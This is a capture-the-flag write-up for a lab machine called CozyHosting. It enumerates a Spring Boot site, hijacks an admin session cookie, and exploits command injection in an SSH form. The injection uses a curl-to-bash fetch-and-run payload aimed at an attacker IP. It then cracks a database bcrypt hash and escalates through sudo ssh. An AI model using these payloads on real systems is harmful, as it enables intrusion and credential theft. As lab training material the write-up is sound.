$ nmap -p- --min-rate 3000 10.129.121.30
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-04 13:22 +08
Nmap scan report for 10.129.121.30
Host is up (0.16s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Did a detailed scan as well:
$ nmap -p 80 -sC -sV --min-rate 4000 10.129.121.30
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-04 13:23 +08
Nmap scan report for 10.129.121.30
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We can add this host to our /etc/hosts file and start proxying traffic through Burpsuite.
Web Enum -> Spring Boot -> Admin
Port 80 shows a basic corporate site:
There is a login function, but weak credentials or basic SQL Injection attacks don't seem to work. I did a gobuster directory scan, which revealed a few directories:
When visiting all of these, the /error endpoint stood out:
Whitelabel Error Page means that the website uses Spring Boot, which requires a different method of enumeration. Using something called Actuators, we can query information about the website through HTTP requests:
Using this, we can try to find some custom endpoints that may not be present in any wordlist. We can use the /actuator/mappings directory for this:
There was one that stood out, which was the /executessh one. However, I was not allowed to interact with this service at all, presumably because I am not given permissions as an administrator or something.
When checking the /actuator/sessions directory, we can find another cookie:
Using this cookie, we can access the administrator dashboard:
Admin Dashboard -> RCE
At the bottom of the dashboard, we can see a few fields that take user input and hint that this is the /executessh service:
When submitting some random values, the browser sends a POST request to /executessh, and the error is sent through a GET request:
GET /admin?error=ssh:%20Could%20not%20resolve%20hostname%20test:%20Temporary%20failure%20in%20name%20resolution HTTP/1.1
Host:cozyhosting.htbUser-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateReferer:http://cozyhosting.htb/adminConnection:closeCookie:JSESSIONID=14C4271D66674BA4C3901D6F6C60E76FUpgrade-Insecure-Requests:1
Seems that the host resolution happens in the website, so let's replace that with 127.0.0.1. When that happens, the error is Host key verification failed. The username part seems to be passed directly into...somewhere.
I tried some basic Command Injection using ; and `, and found that the latter worked.
POST /executessh HTTP/1.1Host:cozyhosting.htbUser-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateContent-Type:application/x-www-form-urlencodedContent-Length:28Origin:http://cozyhosting.htbConnection:closeReferer:http://cozyhosting.htb/adminCookie:JSESSIONID=14C4271D66674BA4C3901D6F6C60E76FUpgrade-Insecure-Requests:1host=127.0.0.1&username=`id`
Using this, we can try to get a reverse shell as the user. When testing random payloads, I managed to trigger an error on the machine as well by typing {$IFS} wrongly:
The bash reverse shell one-liner didn't work and was quite problematic with all of its special characters, so I used a curl one-liner instead.
curl${IFS}10.10.14.22/shell.sh|bash
Privilege Escalation
CloudHosting Jar -> SQL + User Creds
The app user has access to this .jar file:
app@cozyhosting:/app$ ls
cloudhosting-0.0.1.jar
Within the machine, there are other services that are active:
app@cozyhosting:/app$ netstat -tulpn
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN -
tcp6 0 0 127.0.0.1:8080 :::* LISTEN 998/java
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
Port 5432 for PostGreSQL is on, so let's enumerate that next. First, we need to find the user that is using the database, and pspy64 can do that:
postgres is using the database. However, this user still requires a password:
app@cozyhosting:/app$ psql -U postgres -h localhost -W
Password:
psql: error: connection to server at "localhost" (127.0.0.1), port 5432 failed: FATAL: password authentication failed for user "postgres"
connection to server at "localhost" (127.0.0.1), port 5432 failed: FATAL: password authentication failed for user "postgres"
The password might be within the cloudhosting jar file, so I downloaded it to my machine via nc. Instead of unzipping the entire .jar file, we can use zipgrep to extract certain information from it.
Using the cozyhosting database, we can find a users table:
cozyhosting=# \d
List of relations
Schema | Name | Type | Owner
--------+--------------+----------+----------
public | hosts | table | postgres
public | hosts_id_seq | sequence | postgres
public | users | table | postgres
When we extract all data from it, we get 2 hashes:
cozyhosting=# select * from users;
name | password | role
-----------+--------------------------------------------------------------+-------
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
(2 rows)
We can crack one of these hashes using john:
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (?)
1g 0:00:00:14 DONE (2023-09-04 14:02) 0.07062g/s 198.3p/s 198.3c/s 198.3C/s catcat..keyboard
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
The user in the machine is called josh:
app@cozyhosting:/app$ ls /home
josh
Using this password, we can ssh in as josh:
Sudo Privileges -> Root
Since we have the user's password, we can check our sudo privileges:
josh@cozyhosting:~$ sudo -l
[sudo] password for josh:
Matching Defaults entries for josh on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User josh may run the following commands on localhost:
(root) /usr/bin/ssh *
Using the command on GTFOBins, we can spawn a root shell: